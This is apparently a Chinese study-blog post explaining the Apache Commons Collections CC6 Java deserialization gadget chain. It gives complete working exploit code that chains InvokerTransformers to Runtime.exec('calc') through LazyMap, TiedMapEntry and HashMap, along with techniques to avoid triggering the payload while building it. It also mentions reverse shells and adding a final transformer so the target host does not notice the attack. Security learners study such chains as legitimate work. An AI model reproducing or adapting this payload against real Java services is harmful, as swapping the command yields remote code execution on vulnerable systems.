java日记:CC6

CC6

CC6可以在jdk8高版本也能攻击成功,可以说是CC链里面相对最好的一条了。由于AnnotationInvocationhandler无法使用,这次的新朋友是TiedMap

源码

package org.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class },new String[] {"calc" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap=new HashMap();
        Map outerMap= LazyMap.decorate(innerMap,transformerChain);
        TiedMapEntry tme=new TiedMapEntry(outerMap,"keykey");
        Map expMap=new HashMap();
        expMap.put(tme,"valuevalue");
        outerMap.remove("keykey");
        
        // 将真正的transformers数组设置进来
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
    

        
        ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr);

        oos.writeObject(expMap);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();
    }
}

与CC1大差不差的部分

Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class },new String[] {"calc" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap=new HashMap();
        Map outerMap= LazyMap.decorate(innerMap,transformerChain);

这里首先是创建一个fakeTransformers,目的是防止我们在序列化生成payload的过程中误触发命令执行(毕竟java题经常需要反弹shell,误触发了就把自己机子弹上去了),之后会再传入真正的恶意Transformer[]。

链子的末尾多了一个ConstantTransformer(1),是实战中让链子最后返回一个其他的报错,防止目标主机察觉到攻击。

TiedMapEntry

TiedMapEntry tme=new TiedMapEntry(outerMap,"keykey");
Map expMap=new HashMap();
expMap.put(tme,"valuevalue");

这一部分就非常有趣了。我们的目标是什么?是想办法触发outerMapget()方法。

TiedMapEntry类的原本作用是把一个键值对和它所属的Map绑定在一起。这样你通过调用TiedMapEntry类的方法修改这个键值对时,被绑定的Map里的内容也会一并被修改。(如果没有这个类,单纯用map.entry()取出键值对再修改是不会影响原本的Map的)

CC6的入口点

oos.writeObject(expMap);
Object o = ois.readObject();

入口点是hashMap#readObject,然后会对key做一次hash()

putVal(hash(key), key, value, false, false);

hash()->hashcode()

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

回到TiedMapEntry

那么对TiedMapEntryhashcode()会发生什么呢?

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

跟进getvalue()

public Object getValue() {
        return map.get(key);
    }

就能看到我们需要的get了!

所以这里的利用链就是

expmap.readObject()      ->
tme.hashcode()           ->
outmap.get()             -> ...

也就是说HashMap在反序列化的时候会对它的键(TiedMapEntry)计算一次哈希,tme在做哈希的时候也会对自己的键(LazyMap)做一次get()取值,从而触发Transformer

失败了?!

如果我们在以上的基础上直接把恶意Transformer设置进来并反序列化,是无法成功的

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
// 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr);

        oos.writeObject(expMap);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();

为什么呢?罪魁祸首就在这个put里

expMap.put(tme,"valuevalue");

来看到HashMap的put方法:

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

在put的时候就直接为它的键计算了一次哈希,这里和我们反序列化的入口点是一样的,直接触发了一次链子。

然后我们再看到链子里的LazyMap的get部分:

//LazyMap:
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

在键不存在的时候会调用一次我们构造好的transform并把如此生成的键值对写入LazyMap中,所以第二次再调用这条链子的时候,由于链子已经被写入keykey的键了,再次触发get就不会触发transform

解决方案

既然在expmap.put的时候不小心把链子触发了一次写入了键值对,那我们把他再手动删掉就可以了

outerMap.remove("keykey");

自此CC6链的构建就完成了。

← Back to Home